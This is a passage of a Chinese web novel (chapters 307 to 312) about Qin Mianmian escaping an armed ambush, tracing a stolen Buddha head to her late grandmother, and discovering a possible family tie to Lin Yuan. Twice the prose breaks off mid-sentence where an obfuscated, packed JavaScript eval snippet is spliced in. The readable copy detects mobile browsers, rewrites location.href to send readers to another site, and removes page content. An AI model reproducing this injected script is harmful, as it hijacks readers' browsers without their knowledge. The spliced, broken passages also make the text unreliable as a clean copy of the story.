巷口巷尾,两处方向,发动机的咆哮声猛然炸响! 刺眼夺目的远光灯柱撕裂了小巷的黑暗,像两堵无法逾越的光墙,将他们死死钉在原地。 几辆黑色的越野车以蛮横的姿态堵住了所有退路,轮胎摩擦地面的尖啸声,在狭窄的空间里激起回音,格外刺耳。 车门齐刷刷地弹开,十几个穿着黑色作战服的身影鱼贯而出,动作整齐划一,带着一股训练有素的肃杀之气。 他们手里拿着的,不是手枪,而是火力更猛的武器。 众人背后,一个坐着轮椅的身影慢慢浮现。 秦绵绵眼睛一眯——竟然是萧玦。 第307章 绵绵小心 “进去!”姚祁反应快到极致,他没有丝毫犹豫,一把将秦绵绵推向那扇破门,同时飞起一脚,用尽全身力气狠狠踹在门板上。 咔嚓! 腐朽的门锁应声而断。 两人借着这股力道,狼狈地滚进了棋牌室内部。 一股更浓重的、尘封已久的霉味扑面而来。 姚祁就地一滚,反手便将一张沉重的实木麻将桌掀翻,死死抵住门框。 “他们知道我们在这里!赵叔的线索是陷阱!”姚祁的声音在黑暗中压得极低,带着一丝急促的喘息。 秦绵绵的眼神却冷得像冰。 陷阱? 或许。 但也可能是赵叔被人盯上了。 萧玦的势力,做到这一点并不难。 砰!砰!砰! 门外的撞击声沉重而有力,摇摇欲坠的麻将桌发出不堪重负的呻吟。 他们被包了饺子,今天,这里就是个死局。 秦绵绵的目光迅速扫过室内。 这里一片狼藉,倒塌的椅子,散落满地的麻将牌,还有几张蒙着厚厚灰尘的赌桌,构成了一个复杂的、可供藏身的迷宫。 轰隆! 木门连同那张麻将桌,被一股巨力彻底撞开。 几道黑影端着枪,呈战术队形冲了进来。 姚祁抓起一把断腿的椅子,朝着最前面的人影狠狠砸了过去,同时冲着秦绵绵大吼: “分头走!在里面绕!” 混乱中,秦绵绵矮身窜入一张赌桌底下,冰冷的金属枪管几乎是擦着她的头皮扫过。 她像一只敏捷的猫,在废墟般的家具间穿行,寻找着反击的机会。 一个黑衣人发现了她的踪迹,狞笑着举枪瞄准。 秦绵人脚尖一勾,地上的一颗麻将白板被她精准地踢起,不偏不倚地砸在那人的手腕上。 男人吃痛闷哼一声,枪口一偏。 就是现在。 秦绵绵从阴影中暴起,手肘如刀,精准地劈在他的颈侧。 那人连声音都没发出,便软软地倒了下去。 可敌人太多了。 枪声在封闭的空间里震耳欲聋。 姚祁那边压力更大,他利用地形不断制造障碍,掀翻了货架,滚落的杂物暂时阻挡了敌人的脚步,但也将他自己逼入了一个死角。 一个黑衣人绕到了他的侧翼,黑洞洞的枪口对准了正在另一侧与人缠斗的秦绵绵。 “绵绵!小心!”姚祁目眦欲裂。 他想都没想,用尽全力将身前的一张牌桌推向秦绵绵的方向,巨大的冲力将她撞得一个趔趄,恰好躲开了那致命的一枪。 但姚祁自己,却彻底暴露在了枪口之下。 砰! 一声沉闷的枪响。 姚祁的身体猛地一震,他低头,看着自己左臂上迅速洇开的深色血迹,一股钻心的剧痛让他闷哼出声,整个人向后踉跄着撞在墙上。 “姚祁!” 秦绵绵低嘶一声。 她看着姚祁苍白的脸和不断涌出鲜血的伤口,一股冰冷的、噬人的杀意从心底最深处翻涌上来。 敌人已经再次围拢,枪口的光点,像野兽的眼睛,从四面八方对准了他们。 秦绵绵赶过来,一手扶住摇摇欲坠的姚祁,另外一只手立刻摸向自己发间。 那枚林鸢给她的,黑色的金属发夹。 发夹尾部有一个微小凹槽,秦绵绵没有犹豫,用指甲盖的边缘精准用力一按。 世界仿佛在这一瞬凝固了。 发夹很小,并不是武器,按下去之后,似乎什么都没发生。 没有声音。 也没有光。 甚至连一丝震动都感觉不到。 就像按下的只是一个普通的塑料开关。 可就在这一瞬间—— 棋牌室外,巷口。 一直好整以暇坐在轮椅上,如同欣赏困兽之斗的萧玦,身体却猛地一弓,像只被踩了尾巴的猫! “啊——!” 一声凄厉的惨叫从他喉咙深处迸发出来,他双手死死捂住耳朵,整个人因为剧痛而从轮椅上翻滚下来,在冰冷肮脏的地面上抽搐。 因为此刻他佩戴的特制通讯耳机里,一阵刺耳到足以撕裂耳膜的爆鸣声突然炸响,正疯狂地摧残着他的听觉神经。 同一时刻,所有冲进棋牌室的黑衣人,他们的战术耳机里,也爆发出同样恐怖的尖啸! “呃!” “什么东西!!” “通讯!通讯断了!” “我的耳朵!!” 此起彼伏的闷哼和咒骂声,瞬间取代了之前井然有序的战术压制。 十几个人像是没头苍蝇一样,有人痛苦地撕扯着自己的耳机,有人茫然地四处张望,寻找着攻击的来源。 指挥系统在这一瞬间,彻底瘫痪。 原本天衣无缝的包围圈,出现了致命的混乱。 就是现在! 秦绵绵一把将姚祁的手臂架在自己肩上,带着他冲向骚乱最严重的方向。 一个黑衣人刚刚扯掉耳机,正红着眼睛试图重新举枪,秦绵绵已经到了他跟前。 她没有多余的动作,只是用空着的那只手,手肘如锤,用尽全力撞在他的下巴上。 咔哒一声脆响。 那人哼都没哼一声,直挺挺地向后倒去。 “走!” 秦绵绵低喝一声,架着几乎将全身重量都压在她身上的姚祁,从敞开的破门冲了出去,头也不回地扎进了老城区那蜘蛛网般错综复杂的深巷里。 …… 也不知跑了多久,身后追兵的嘶吼和杂乱的脚步声终于被彻底甩开。 秦绵绵在一个堆满废弃蜂窝煤的死胡同角落停下,小心地将姚祁放倒,让他靠着满是青苔的墙壁。 剧痛如潮水般涌来。 姚祁的嘴唇已经毫无血色,额头上布满了细密的冷汗,他咬着牙,不让自己发出一点声音。 秦绵绵蹲下身,看着他手臂上被血浸透的临时包扎,眼神一黯。 她没有说话,只是伸出手,抓住自己衬衣的下摆。 “嘶啦——” 一声清脆的布料撕裂声,在寂静的巷子里显得格外清晰。 她利落地从自己的衣服上撕下一长条干净的布料。 姚祁的呼吸一滞,他看着她近在咫尺的脸,看着她专注而冷肃的眼神,还有她因为撕扯衣物而微微露出的、一截白皙的腰身。 巷子里的空气,似乎都变得黏稠起来。 “你……”姚祁忽然声音有些沙哑地开口。 第308章 用一辈子 “别说话。” 秦绵绵语气肃然,她粗暴地扯开姚祁手臂上已经被血粘住的衣料,动作却在看到那血肉模糊的伤口时,不自觉地放轻了许多。 子弹擦得很深。 她用撕下来的布条,一圈一圈,用力地为他重新包扎伤口,打上一个死结,试图用压迫法止住还在不断渗出的血。 她的手指不可避免地触碰到他的皮肤,冰凉的指尖与他滚烫的伤口,形成鲜明的对比。 “绵绵,”姚祁看着她低垂的眼睫,愣了半晌,忽然轻声说,“谢……” “别说话了,省点力气。”秦绵绵打断他,终于抬起眼,那双总是清冷的眸子里,忽而带了笑意,“我欠你一条命,臭小子。” 姚祁看着她,远处的霓虹灯火照不进巷子,昏黄的路灯只在她的侧脸打出一片朦胧的阴影。 但她的眼睛却那么亮。 他忽然勾起嘴角,低低地笑了。 “你说的。”他说,“以后可要记得我的恩情。” ……用一辈子。 巷子外,隐约传来杂乱的脚步声和低低的呼喝,萧玦的人显然没有放弃,正在这片错综复杂的老城区里展开拉网式搜索。 秦绵绵的耳朵动了动,她扶着姚祁,将他藏得更深了些。 目光掠过巷口,落在一个正叼着烟的夜归青年身上。 她对姚祁做了个噤声的手势,身形一晃,如夜猫般悄无声息地贴了过去。 那青年只觉得身边一阵风过,似乎有人撞了他一下,他骂了一句,下意识摸了摸口袋,手机还在,便没再理会。 几秒后,又是一阵风。 青年一愣,再次摸向口袋,手机依然安在。他疑惑地挠了挠头,晃晃悠悠地走远了。 他不知道,就在这短短的十几秒里,他的手机已经完成了一次短暂的旅行。 秦绵绵压低声音,用最快的语速拨通了报警电话:“喂,110吗?城西废棋牌室这边有人聚众斗殴,带了家伙,你们快来!” 挂断,删掉通话记录,悄无声息地将手机物归原主。 整个过程行云流水。 没过多久,远方果然传来了尖锐的警笛声,由远及近。 那些搜寻的脚步声立刻变得慌乱起来,很快便潮水般退去。 萧玦再嚣张,也不敢在国内跟警方正面冲突。 确认安全后,秦绵绵才扶起姚祁。 “我们得回去。”她说。 姚祁一愣,随即明白了她的意思:“回那个棋牌室?” “赵叔的线索是陷阱,但那个地方本身不是。”秦绵绵的眼神冷静得可怕,“萧玦的人那么快出现,说明他一直盯着我们,或者盯着赵叔。但那个向导是真实存在的,他留下东西的可能性很大。现在警察刚来过,那里反而是最安全的地方。” 姚祁看着她,点了点头,忍着痛,撑着墙站直了身体。 两人没走大路,专挑着阴暗无人的小径穿行。 路过一个巷子深处时,一股食物的香气飘了出来。 只有一个馄饨摊还亮着一盏昏黄的孤灯,蒸腾的热气模糊了老板疲惫的脸。 秦绵绵脚步一顿,拉着姚祁走了过去。 她要了一碗,推到姚祁面前。 “吃。” 姚祁失血过多,脸色白得像纸,他没动筷子,只是看着她:“你不吃?” 秦绵绵没说话,拿起勺子,舀起一个滚烫的馄饨,仔细地吹了吹,直接递到了他嘴边。 “张嘴。” 她的动作有些粗鲁,眼神却很专注。 姚祁怔住了,巷子里的风吹起她额前的碎发,他鬼使神差地张开了嘴。 温热的馄饨滑入喉中,带着一股暖意,瞬间驱散了身体里应疼痛而产生的寒冷。 他看着她又舀起一个,吹了吹,再次递过来。 这一次,他自己接过了碗和勺子,埋头小口小口地吃了起来,只是耳朵尖,悄悄地红了。 秦绵绵心细如发,见状却只觉好笑,没想到平日里痞里痞气的姚祁也会有这样的时候。 一碗热馄饨下肚,姚祁的脸色好看了几分。 两人再次回到那间废弃的棋牌室。 警方的黄色封条在破门上随风轻摆,像一道脆弱的符咒。 秦绵绵毫不犹豫地将其扯下,和姚祁闪身进入。 室内的狼藉和血腥味比之前更重。 秦绵绵的视线没有停留在满地翻倒的桌椅上,而是扫了一眼后,盯上墙角一个不起眼的旧木柜。 “刚才混战时,”她低声说,“有个黑衣人下意识避开了那个方向。他不是怕撞到柜子,是怕撞坏里面的东西。” 姚祁立刻会意。 两人合力将木柜拖开,柜子背后并没有什么特异处。 而看这个柜子,似乎是当年用来做储物柜的。 姚祁用没受伤的手,拿着一根细铁丝,把所有生锈上锁的柜门全部都撬开了。 “咔哒。” 咔哒。 秦绵绵扬眉:“你一个养尊处优的大少爷,这一手功夫又是哪里学的,肯定不是在姚家。” 姚祁笑笑:“掌柜的你忘了我回姚家本来就没两年。” 秦绵绵了然,这些旁门左道,弄不好是在孤儿院里学的。 很快柜门弹开,露出了一个个黑洞洞的暗格。 两人一个个摸索过去,终于在其中一个柜子里,找到一个用油布包裹得严严实实的东西。 秦绵绵将其取出,打开层层包裹的油布,里面是一个老旧的铁皮饼干盒,盒子上还印着几十年前的美人画。 打开盒子,一股陈旧的纸张气味扑面而来。 里面没有金银财宝,只有几张泛黄的旧照片,和一本用牛皮纸作封面的手写册子。 秦绵绵拿起那本册子。 册子里的字迹潦草,记录的都是些本地的山川地理、奇闻异事,像一本私人的县志笔记。 但可以确定,这肯定是那个向导的东西无疑。 她快速地翻阅着,姚祁则凑在一旁,用手机微弱的光为她照明。 当翻到最后一页时,秦绵绵的手指停住了。 那一页上,没有文字。 只用朱砂笔,画了一幅潦草的地图,地图的终点,被人重重地圈出,旁边用同样的朱砂笔,写着三个字—— 龙隐寺。 第309章 龙隐寺 小镇的网吧里。 最角落的包间里,姜敬意正焦躁不安地来回踱步,林鸢则靠在椅背上,闭目养神,脸色依旧苍白。 包厢的门忽然被敲响,而且是三短一长的暗号,姜敬意立刻窜过去开门。 “你们怎么样!姚祁,你受伤了?!”姜敬意看到姚祁缠着布条的手臂,惊呼出声。 “小伤。”秦绵绵言简意赅地打断他,拿出那本手册,翻到最后一页,“赵叔的消息可能走漏了,我们被萧玦伏击,但没大碍,还找到了这个。” 姜敬意凑过去,看着那潦草的地图和三个朱红的字,眉头拧成了一个疙瘩。 “龙隐寺?去那儿干什么?这帮人偷佛头,怎么会把东西藏在庙里?”他百思不得其解。 秦绵绵的脑中却有根弦猛地被拨动。 她想起罗小胖那本被翻烂的县志,那上面被红笔圈画的地名。 也有……龙隐寺。 “这地方,”姜敬意盯着地图,又说,“我有点印象,好像听我爸提过,几十年前就让山火给烧没了,现在就是片废墟,根本不可能有人去。” 线索似乎又断了。 包厢里陷入沉寂,只有主机风扇的嗡鸣声。 秦绵绵却忽然想起了镇上老人们闲聊时,说起过的一个关于龙隐寺的怪诞传说。 ——传说那寺里的老住持,能跟死人说话。 “我们得去看看。”秦绵绵开口,语气不容置喙。 “我也去。” 一个清冷的声音响起。 一直沉默的林鸢忽然开口,她的目光落在秦绵绵身上,眼神里是毫不掩饰的担忧。 她现在看秦绵绵,就像看一件随时可能破碎的珍宝一般。 在得知了秦绵绵一到棋牌室就遇险,还用上了她给的发夹后,她的目光就没从她身上移开过。 秦绵绵看着她苍白的脸,本想拒绝,但对上那双固执的眼睛,话又咽了回去。 于是四人收拾行装一起出发。 一行人打车到了山脚下。 通往废墟的路早已被荒草彻底淹没,几人只能深一脚浅一脚地往上爬。 山林间弥漫着潮湿的腐木气味,随处可见被火烧得焦黑的树木残骸,无声地诉说着当年的那场大火。 而如今的残骸,又被新的绿植攀爬覆盖,显得又诡异又凄清。 龙隐寺的废墟,比想象中还要破败。 只剩下几段残垣断壁,孤零零地立在荒草丛中,石阶上布满了厚厚的青苔。 几人兜兜转转,几乎把废墟翻了个底朝天,却一无所获。 正当失望的情绪开始蔓延,秦绵绵的目光被废墟后方,一棵歪脖子老松树下的景象吸引了。 那里竟然露出一个小小草棚的一角。 这地方,还有人? 几人顿时警惕地靠过去。 转过老松树,竟然真的看见了人。 老松树的下面,无声无息地靠坐着一个人。 那是个老僧,形容枯槁,身上的僧袍已经洗得发白,他靠着树干,双目紧闭,气息微弱得几乎感觉不到,仿佛下一秒就会融进这片寂静的山林。 秦绵绵放轻脚步走过去,在他面前蹲下。 老僧仿佛感知到了什么,眼皮艰难地颤动了几下,缓缓睁开。 那是一双浑浊的、却又异常平静的眼睛。 他看着秦绵埋,嘴唇翕动,声音嘶哑得像是两片砂纸在摩擦。 “你……来了。” 他似乎,一直在等他们? 在简短的交谈后,众人得知,他竟是当年那个本地向导的师兄。 他的师弟参与盗宝后,自知被无数双眼睛盯上,大祸临头,于是逃回了寺里,没过多久便重病而亡。 “师弟临终前,罪孽缠身,日夜不得安宁。”老僧的声音气若游丝,“他没说佛头在哪,只留下一句话,让贫僧在此,等一个能让佛归位的有缘人。” 秦绵绵的心提到了嗓子眼。 老僧浑浊的目光望向远方被晚霞染红的天际,用尽最后一丝力气,念出了那句他守了几十年的遗言。 “佛首离山,非因贪欲,乃为续命。” “金钱难买慈悲心,唯有活水可换菩提身。” 老僧的声音轻得像一阵风,吹过众人耳畔,便消散在了这片死寂的废墟里。 姚祁听得一头雾水,眉头拧成了个疙瘩:“续命?活水?这都什么跟什么啊,打哑谜呢?” 姜敬意却已经开始皱眉思索起来。 一直沉默的林鸢冷哼一声,苍白的脸上浮起一丝不耐与鄙夷。 “故弄玄虚。”她言语间满是科学家对封建迷信的嗤之以鼻,“不过是些骗香火钱的老套说辞,什么活水菩提,无稽之谈。” 秦绵绵却没有说话。 她的视线定在老僧那张枯槁的、几乎与树皮融为一体的脸上,那两句偈语,像两颗投入深潭的石子,在她脑中激起层层叠叠的涟漪。 续命…… 活水…… 活水…… 一个念头如电光石火般划破脑海。 “不对!”秦绵绵猛地站起身,声音不大,却透着一股斩钉截铁的笃定,“‘活水’不是真的水!” 林鸢和姜敬意都朝她看来。 “是钱!”秦绵绵的眼睛里迸发出惊人的亮光,“是流动的资金!是现金流!严启山不是唯一的买家,有人赶在他之前,用钱买下了佛头!不是为了贪欲,是为了‘续命’,是为了保住这件国宝的命!” 听到她这句话,那靠在树干上,本已气若游丝的老僧,眼皮竟又颤动了一下。 他那双浑浊的眼睛,最后望了秦绵绵一眼,干裂的嘴唇边,竟牵起一抹微不可察的、如释重负的笑意。 仿佛等了几十年的使命,在这一刻终于完成。 他缓缓阖上了双眼,头颅微微垂下,再无声息。 就此圆寂。 山林间恢复了死寂,众人心中却翻江倒海。 就在这片凝重的静默中,一阵突兀的手机震动声响起。 是秦绵绵的。 她掏出手机,屏幕上跳出一条来自朱七妹的短信,内容让她瞳孔骤然一缩。 【掌柜的,萧玦那帮人不知道用了什么法子,绕开了警方的封锁线,好几辆大车,带着挖机和吊车,正全速往青塔湖后山石窟那边开过去了。】 第310章 是她的外婆 “他们要毁了石窟!”林鸢瞬间反应过来,脸色愈发难看。 “走!” 秦绵微一秒都没有耽搁,转身就往山下冲。 几人几乎是连滚带爬地冲下荒山,在路边拦了辆出租车,火急火燎地往青塔湖赶。 车厢内气氛压抑。 姚祁忍着手臂的剧痛,用那只没受伤的手在手机上飞快地操作着。 “我查了龙隐寺,”他忽然开口,打破了沉默,“佛头被盗案发生后没多久,有一笔以龙隐寺名义支出的款项。” “是什么?”秦绵绵立刻追问。 “一笔一百万的善款,”姚祁看着屏幕上的资料,一字一句地念道,“捐给了市里的福利院。” 一百万! 这笔钱,无疑就是买下佛头的“活水”! 线索对上了! 但是这个数字…… 秦绵绵的脑中像是有根弦被猛地拨动,她忽然想起了什么,脸色倏地一变。 她追问道:“姚祁,那笔捐款的具体日期,是哪一天?” “我看看……”姚祁放大页面,“三十年前,十月二十七号。” 秦绵绵眉头皱的更紧,一言不发,从姚祁手里拿过手机,直接拨了一个号码。 “喂?”电话那头传来叶子舟迷迷糊糊的声音。 “叶子舟,帮我个忙。你现在立刻上二楼,进我房间,打开书桌最下面那个抽屉,里面有一张用塑料封套包着的老欠条,那就是你上次给我的那张,我外婆留下的,你帮我看看上面的日期!” 当初叶子舟之所以会来到客栈,全都是因为当年他爷爷曾借了秦绵绵的外婆一百万,当时叶子雯生病急用钱,叶子舟才不得不在歹人的撺掇下,拿着那欠条来客栈找秦绵绵要钱。 这才有了后续他和叶子雯都留在客栈的事。 现在钱秦绵绵还给叶子舟了,这属于外婆的欠条,她就保留了下来。 毕竟这位未曾谋面的秦家外婆,留给她的,除了这家老旧客栈之外,并没有什么其他的特别的东西。 电话那头的叶子舟被她这股焦急的劲头吓了一跳,不敢怠慢,立刻传来一阵“蹬蹬蹬”的上楼声和翻找东西的声音。 姚祁、林鸢和姜敬意都屏住呼吸看着她,不明白她为什么突然对一张旧欠条这么紧张。 几秒钟后,叶子舟气喘吁吁的声音从听筒里传来。 “找到了!掌柜的,我看到了!日期是……三十年前,十月二十六号!” 秦绵绵顿住。 许久,她才呼出一口气,按掉了电话。 窗外,天色已渐黑,车子已经行驶到了青塔湖景区的不远处。 小镇的霓虹灯光透过肮脏的玻璃,在她脸上投下明明暗暗的光影。 真是令人意想不到。 当初只是随手保存下来这张欠条罢了。 谁能想到今天竟然会有这样大的用途。 有关佛头的线索,金额和日期,竟然都跟秦家外婆的这张欠条对上? 买下佛头,阻止国宝落入严启山之手的人…… 竟然是她的外婆! …… 出租车司机从后视镜里瞥了一眼后座这几个神色各异的年轻人。 “几位,前面就是青塔湖镇了,你们要到哪下车啊。” “我们不去小镇了,我们直接去景区,青塔湖景区。” “啊?”司机一愣。“这个时间,景区已经关门了啊。” 姜敬意也懵了,他冲秦绵绵使眼色:“绵绵,警方的人和萧玦的人都在景区呢!” 秦绵绵的目光从车窗外飞速倒退的夜景上收回,落在同伴身上。 “萧玦不是傻子,他应该盯石窟很久了,怎么可能这么轻易就毁掉石窟。他这么大张旗鼓,其实就是做给我们看的,想把我们引过去一网打尽。”她顿了顿,声音压得更低,“而且,佛头,根本就不在石窟。” 她深吸一口气,说出了那个石破天惊的推测。 “它在外婆留给我的客栈里。” 夜更深了。 景区的街道上空无一人,只有路灯在湿漉漉的青石板上投下寂寥的光晕。 四道身影贴着墙根的阴影,像夜行的猫,悄无声息地回到了如意客栈的后门。 秦绵绵掏出钥匙。 那扇熟悉的后门被无声地推开,一股混合着木头和老旧房屋的气味扑面而来。 几人闪身进入,重新将门锁好。 据叶子舟和朱七妹汇报,张队他们仍然住在自家客栈里,所以这一趟可以说是十分冒险了,一定要小心行事。 客栈大堂里一片漆黑,月光透过雕花木窗,洒下一地破碎的银辉。 晚风从没关严的窗缝里钻进来,带着山里的寒意。 秦绵绵只穿了一件被自己撕掉下摆的薄衬衫,下意识地抱紧了双臂。 一件带着淡淡冷香的外套,忽然披在了她的肩上。 她一怔,回头,对上林鸢那双清冷的眸子。 秦绵绵心里一暖,拉紧了外套。 “上楼。” 她率先踏上了那吱呀作响的木质楼梯。 目标很明确,她的房间,以及隔壁外婆生前住的屋子。 秦绵绵的房间,被她自己翻了个底朝天。 床板掀开,衣柜搬离,墙壁敲遍,地板的每一块木板都被仔细检查。 没有。 什么都没有。 接着是隔壁,那间属于外婆的、落了锁的房间。 姚祁撬开锁,一股更浓重的、封存了几十年的尘埃气味涌了出来。 房间的陈设很简单,一张老式的雕花木床,一个蒙着白布的梳妆台,还有一个靠墙的樟木箱子。 这里的时间,仿佛停留在了外婆离去的那一刻。 众人再次将这间不大的屋子寸寸搜查。 樟木箱被打开,里面只有几件叠放整齐的旧衣服和一包防蛀的樟脑丸。 床下空空如也。 墙壁严丝合缝。 一个小时后,所有人都停下了动作,满身灰尘,一脸疲惫。 巨大的希望,在现实面前被砸得粉碎。 秦绵绵坐在外婆那张硬邦邦的旧床沿上,看着满室的狼藉,一种前所未有的脱力感席卷了全身。 她以为自己抓住了线索,以为自己离真相只有一步之遥。 可结果,还是一场空。 “别灰心。”姚祁走到她身边,想拍拍她的肩膀,手抬到一半,又因为臂上的伤痛而咧了咧嘴,“老人家心思多,说不定藏在了更……更意想不到的地方。” 第311章 这个婴儿是? 他的安慰有些笨拙。 秦绵绵知道,对一个恋家的老人而言,最安全的地方,永远是自己的家。 如果这里没有,那可能就真的没有了。 姜敬意也垂头丧气地靠在门框上,一言不发。 整个房间里,弥漫着一股浓重的失望。 就在这片死寂中,一直没怎么动手的林鸢,却缓缓走到了房间的窗台前。 她的目光,没有停留在任何可能藏东西的家具上,而是落在了窗台上,一盆早已彻底枯死的植物残骸上。 那盆东西,似乎很多年前就摆在那里了,干枯的藤蔓和叶片蜷缩着,像一具风干的骨架。 “这是抱石兰。” 林鸢清冷的声音打破了沉默。 她伸出手指,轻轻碰了一下那枯脆的枝干,动作里带着一种身为研究者特有的审视与专注。 “一种很罕见的附生兰科植物,它的肉质根系有极强的包裹性,会紧紧抱住岩石生长,根、茎、石三者融为一体,形成天然的保护层,防潮,也防震。” 她的话,像一道惊雷,在秦绵绵脑中炸响。 姚祁和姜敬意还没反应过来。 秦绵绵的视线,却猛地从那盆枯死的抱石兰上移开,死死地盯住了花盆底下,那一片平平无奇、甚至有些龟裂的泥土。 她外婆用一百万买下的国宝。 是不是就埋在这盆枯兰之下! 秦绵绵和姚祁对视一眼,立刻默契地俯下身,小心翼翼地将那只沉重的陶土花盆抬到地上。 姚祁顾不上手臂的伤,单手就往那板结的干土里刨。 没有工具,他们只能用手。 干硬的泥土磨得指尖生疼,灰尘在月光下弥漫。 秦绵绵的心跳得厉害,一下,又一下,重重地敲在胸口。 终于,姚祁的手指触到了一个冰冷坚硬的边角。 “有东西!”他低呼一声。 两人加快了动作,很快,一个锈迹斑斑的铁皮盒子被完整地挖了出来。 不是想象中佛头的大小,只是一个普通的饼干盒。 失望的情绪一闪而过,但秦绵绵立刻稳住心神。 她接过盒子,用力掰开那早已锈死的盒盖。 嘎吱—— 一声刺耳的摩擦声后,盒子开了。 里面没有佛头。 只有一张用塑料袋仔细包好的、泛黄的老照片,和一封同样泛黄的信。 秦绵绵拿起照片。 照片上,一个眉眼温婉的中年女人,正抱着一个襁褓中的婴儿,笑得恬静而满足。 秦绵绵认得出来,那就是秦家外婆。 秦绵绵接手客栈后,找到过几张秦家外婆的照片,但无一例外都是年老的照片。 她还从未见过外婆如此年轻的模样。 她的目光落在那个婴儿身上。 婴儿只露出了半张脸,睡得正熟,而在那小小的、肉嘟嘟的脸颊在靠近眼角的位置,有一片指甲盖大小的、淡青色的胎记。 很淡,却清晰可见。 站在她身后的林鸢,目光也落在了那张照片上。 下一秒,她整个人的气息都变了。 那股一直萦绕在她身上的、拒人于千里之外的冰冷瞬间崩塌,取而代之的是一种极致的、难以置信的震动。 她的身体僵直,瞳孔剧烈地收缩,死死地盯着照片上那片小小的青色胎记。 “……不可能。”她喉咙里发出一声梦呓般的低喃,像是被人扼住了脖子。 她猛地一步上前,几乎是夺过秦绵绵手中的照片,手指因为用力而剧烈地颤抖着。 月光照在她脸上,那张总是毫无波澜的脸,此刻写满了濒临崩溃的脆弱。 泪水,毫无征兆地从她眼眶中决堤,大颗大颗地滚落下来,砸在老旧的照片上。 “是她,这是她呀……”林鸢的声音破碎不堪,带着哭腔。 众人不明所以,询问之下才知,原来林鸢的哥嫂曾经有过一个女儿,却被人贩子拐走了。 后来因为这个丢失的女儿久寻不到的缘故,受不了打击的哥嫂相继去世。 这么多年了,她这个做姑姑的,也从没想过有一天还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不,我觉得就是你!”她抓住秦绵绵的手臂,力气大得惊人,“我不管,就是你!我有一种感觉,一定是你!绵绵,你相信我!” 第312章 佛手 她像个溺水的人抓住了最后一根浮木,逻辑、理智在这一刻通通被抛到了脑后。 她拉着秦绵绵,语气急切而坚定:“跟我去做亲子鉴定!现在!马上!” 秦绵绵看着她几近疯狂的模样,看着她眼底那深可见骨的痛苦与期盼,心中一软。 为了林鸢,也为了给自己一个答案。 她轻轻点了点头。 “好。” 得到肯定的答复,林鸢紧绷的身体才略微一松。 姚祁走过来,将那个铁盒里剩下的东西递给秦绵绵。 “还有一封信。” 秦绵绵接过那封信,信封上没有署名。 她拆开,里面是几页写满了字的信纸,字迹娟秀,正是外婆的笔迹。 “当这封信展露于人世的时候,我应该已经不在了……” 信的开头,就让秦绵绵鼻尖一酸。 信里,外婆用平实的语言,讲述了三十年前那个惊心动魄的夜晚。 她无意中得知严启山要**国宝佛头卖到海外,心急如焚。 她知道自己人微言轻,报官也无济于事,只会打草惊蛇。 于是,她用尽毕生积蓄,又借了叶子舟爷爷的一百万,凑足了钱,抢在严启山之前,从那个本地向导手里“买”下了佛头。 她是在救它。 但外婆也清楚,这尊佛头是烫手的山芋,留在身边,只会招来杀身之祸。 信的末尾,这样写道: “……我知道此物凶险,留在客栈只会招来祸端。所以,我用一百万买下它,又立刻将它卖给了另一个人。一个绝对信得过、也绝对有能力保护它的人。” 信,到这里就结束了。 佛头,根本就不在客栈。 线索,再一次指向了一个全新的、未知的方向。 外婆的房间里,死寂得能听见灰尘落下的声音。 那封信,像一块烧红的烙铁,将刚刚燃起的希望烫得灰飞烟灭。 佛头,竟早就被外婆卖掉了。 线索,再一次断得干干净净。 姜敬意一屁股坐在地上,满脸都是被耍了一通的颓败:“卖了?卖给谁了啊?信里怎么不说清楚!” 姚祁靠在门边,臂上的伤口在隐隐作痛,他看着秦绵绵紧绷的侧脸,安慰的话到了嘴边,却又咽了回去。 此刻,任何安慰都显得苍白无力。 唯有林鸢,她的世界里仿佛只剩下了一件事。 她死死攥着那张泛黄的老照片,通红的眼睛一瞬不瞬地盯着秦绵绵,那目光里的偏执与祈求,几乎要将人灼伤。 “绵绵,”她声音沙哑,带着不容置喙的固执,“天一亮,我们就去做鉴定。” 秦绵绵看着她希冀的神色,终究是无法拒绝。 她点了点头。 虽然线索断了,但凭空多出一段身世的纠葛,今夜注定无人能眠。 可眼下,警察就住在客栈里,不能弄出太大动静,何况他们也实在太累了,急需休息。 “就在我房里将就一晚吧。”秦绵绵做了决定,“天亮前,我们再想办法走。” 夜色渐深,为了不惊动住在楼下的张队,几人连灯都不敢开,摸黑回到秦绵绵的房间,借着窗外透进的稀薄月光,在地上打起了地铺。 疲惫如同潮水,迅速淹没了每一个人。 姜敬意和姚祁很快便沉沉睡去,呼吸声在安静的房间里清晰可闻。 秦绵绵却毫无睡意。 她躺在冰凉的地板上,睁着眼,看着天花板上斑驳的光影,脑子里乱成一团麻。 外婆信里那个“绝对信得过的人”会是谁? 林鸢的小侄女,和自己,和姜飞飞,到底有什么关联? 一旁,林鸢也同样辗转难眠。 她从贴身的口袋里,小心翼翼地取出一件物事。 那是一尊造型极其优美的石雕佛手,质感温润,在月光下泛着淡淡的柔光,雕工精湛,仿佛是真的佛陀之手,拈花垂眸,慈悲众生。 这应该就是她从京城博物馆里偷出来的,引来警察追踪的那件宝物。 也就是山上石窟里的那尊大佛的佛手。 秦绵绵的目光被那佛手吸引,下意识地凑过去。 “真漂亮。”她由衷地赞叹。 林鸢看着她,目光柔和了些许,将佛手递了过去:“拿着看看,它很温和。” 秦绵绵接过佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937325|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,入手微凉,却又仿佛带着一股奇特的暖意,顺着掌心缓缓渗入四肢百骸。 她忍不住用指腹细细摩挲着佛手上的纹路,那股奇异的安宁感,让她紧绷了一整天的神经,终于渐渐松弛下来。 眼皮越来越沉,她握着那尊佛手,就这么沉入了梦乡。 …… 当一股熟悉的晕眩感传来时,秦绵绵猛地惊醒。 入目的,不再是客栈熟悉的木质天花板。 空气里弥漫着淡淡的、清冷的龙涎香,是她再熟悉不过的味道。 